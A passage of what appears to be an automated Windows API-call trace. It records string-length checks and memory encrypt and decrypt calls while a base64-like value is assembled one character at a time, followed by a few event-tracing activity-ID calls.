(param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x927a\x77a8\xa364\x3078\x1482\x2ecf\x686e\x393c") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\x927a\x77a8\xa364\x3078\x1482\x2ecf\x686e\x393c") returned 0x18 [0138.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="9sWth62ndC36k++49kqjGhV姀") returned 0x18 [0138.064] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xf237\x1d96\xb443\x2f77\x685d\x2353\x2059\x7e79") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xf237\x1d96\xb443\x2f77\x685d\x2353\x2059\x7e79") returned 0x18 [0138.064] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC") returned 0x18 [0138.064] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98") returned 0x18 [0138.064] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98") returned 0x20 [0138.064] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.065] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/ꯛἺᓤ䀺㹋") returned 0x20 [0138.065] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.065] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xf4e7\x2cab\x89e7\xe00c\x19c4\x3edf\xeed8\x4caa") returned 0x20 [0138.065] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xf4e7\x2cab\x89e7\xe00c\x19c4\x3edf\xeed8\x4caa") returned 0x20 [0138.065] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.065] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tἺᓤ䀺㹋") returned 0x20 [0138.065] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xf218\x1732\x8fde\xd093\xdf44\x716f\x9464\x67dd") returned 0x20 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xf218\x1732\x8fde\xd093\xdf44\x716f\x9464\x67dd") returned 0x20 [0138.066] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXᓤ䀺㹋") returned 0x20 [0138.066] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x7705\x9135\x7995\x2313\xe01c\xa16f\xf9c4\x3a42") returned 0x20 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x7705\x9135\x7995\x2313\xe01c\xa16f\xf9c4\x3a42") returned 0x20 [0138.066] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXp䀺㹋") returned 0x20 [0138.066] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x8be1\x22cf\x41f3\x29e3\xde39\xb4c3\x86b7\x1cb2") returned 0x20 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x8be1\x22cf\x41f3\x29e3\xde39\xb4c3\x86b7\x1cb2") returned 0x20 [0138.066] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXps㹋") returned 0x20 [0138.066] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xa0c1\xb2ed\xdc29\x39bb\xf83e\xa850\xaf63\x6ceb") returned 0x20 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xa0c1\xb2ed\xdc29\x39bb\xf83e\xa850\xaf63\x6ceb") returned 0x20 [0138.066] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQ㹋") returned 0x20 [0138.066] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.066] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xdb46\xbdce\xfca4\x21d7\x2780\xa60f\x59d7\x322e") returned 0x20 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\xdb46\xbdce\xfca4\x21d7\x2780\xa60f\x59d7\x322e") returned 0x20 [0138.067] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.067] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk㹋") returned 0x20 [0138.067] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x5915\x834c\xfb69\x3ecc\xb50d\x5dde\x7250\x6d4a") returned 0x20 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x5915\x834c\xfb69\x3ecc\xb50d\x5dde\x7250\x6d4a") returned 0x20 [0138.067] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.067] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2") returned 0x20 [0138.067] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba") returned 0x20 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba") returned 0x20 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba") returned 0x20 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba") returned 0x28 [0138.067] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.067] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2m훳㦁鼠ᘧ둩") returned 0x28 [0138.067] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x7054\xd7d5\xb4bf\xa3d1\x97f4\x2f47\x814a\x8a23") returned 0x28 [0138.067] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x7054\xd7d5\xb4bf\xa3d1\x97f4\x2f47\x814a\x8a23") returned 0x28 [0138.067] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.067] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc㦁鼠ᘧ둩") returned 0x28 [0138.068] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x81c3\xb258\xf8da\x21a3\x19a7\x762f\x5d9c\x7ea8") returned 0x28 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x81c3\xb258\xf8da\x21a3\x19a7\x762f\x5d9c\x7ea8") returned 0x28 [0138.068] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8鼠ᘧ둩") returned 0x28 [0138.068] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\xca5f\xbab1\x449d\x9824\x544d\xf395\x5476\x9b1f") returned 0x28 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\xca5f\xbab1\x449d\x9824\x544d\xf395\x5476\x9b1f") returned 0x28 [0138.068] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8eᘧ둩") returned 0x28 [0138.068] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x3266\x6af9\xc88b\x3d94\xeb94\xc470\x1c0e\x7f03") returned 0x28 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x3266\x6af9\xc88b\x3d94\xeb94\xc470\x1c0e\x7f03") returned 0x28 [0138.068] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+둩") returned 0x28 [0138.068] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\xb54\x7b96\xd7fb\xf6db\x15d1\xa87c\xbda3\x8160") returned 0x28 [0138.068] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\xb54\x7b96\xd7fb\xf6db\x15d1\xa87c\xbda3\x8160") returned 0x28 [0138.069] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5둩") returned 0x28 [0138.069] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x5125\x410\xa44f\x4bb3\x84c8\x9ea5\x6e17\x44f3") returned 0x28 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x5125\x410\xa44f\x4bb3\x84c8\x9ea5\x6e17\x44f3") returned 0x28 [0138.069] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5l둩") returned 0x28 [0138.069] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x8e0b\x40f\xb6a1\xab59\x76a8\x93d3\x4c6a\xa8a5") returned 0x28 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x8e0b\x40f\xb6a1\xab59\x76a8\x93d3\x4c6a\xa8a5") returned 0x28 [0138.069] SystemFunction041 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5lf") returned 0x28 [0138.069] SystemFunction040 (in: Memory=0x8ebf9bc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf9bc) returned 0x0 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01") returned 0x28 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01") returned 0x28 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01") returned 0x28 [0138.069] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01") returned 0x30 [0138.069] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5lfh潙欟뛞긐擫큾᳒") returned 0x30 [0138.070] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\xb882\x4bfb\x25b2\xf4a8\x8909\x40e6\xe53f\xcbc8") returned 0x30 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\xb882\x4bfb\x25b2\xf4a8\x8909\x40e6\xe53f\xcbc8") returned 0x30 [0138.070] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5lfhj欟뛞긐擫큾᳒") returned 0x30 [0138.070] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\x510b\x6176\x6edf\x92c1\x8ae0\x1b3\xf51d\xa47e") returned 0x30 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\x510b\x6176\x6edf\x92c1\x8ae0\x1b3\xf51d\xa47e") returned 0x30 [0138.070] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5lfhjA뛞긐擫큾᳒") returned 0x30 [0138.070] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\x3364\xae1c\x7e40\x22ce\xd92d\x6439\x926d\x78be") returned 0x30 [0138.070] SysStringLen (param_1="\x87db\x66c4\x4458\xf31a\xd76\xca7d\xe715\x798d\xf5f3\x5d6\x5764\xc6b3\x3066\x701\x2d94\x6913\xd15d\xabf1\x6c72\x15e2\x84fa\xfa11\xa6c3\xe98\x6735\xd6d9\x4ac9\x9e26\xd2e7\xffa5\xb57b\x84ba\x361\x6f73\x1857\xb7d8\x6ad0\x707e\x9585\x2c01\x3364\xae1c\x7e40\x22ce\xd92d\x6439\x926d\x78be") returned 0x30 [0138.070] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.070] SysStringLen (param_1="9sWth62ndC36k++49kqjGhVC/tXpsQk2mc8e+5lfhjA=긐擫큾᳒") returned 0x30 [0138.070] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.071] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1c, 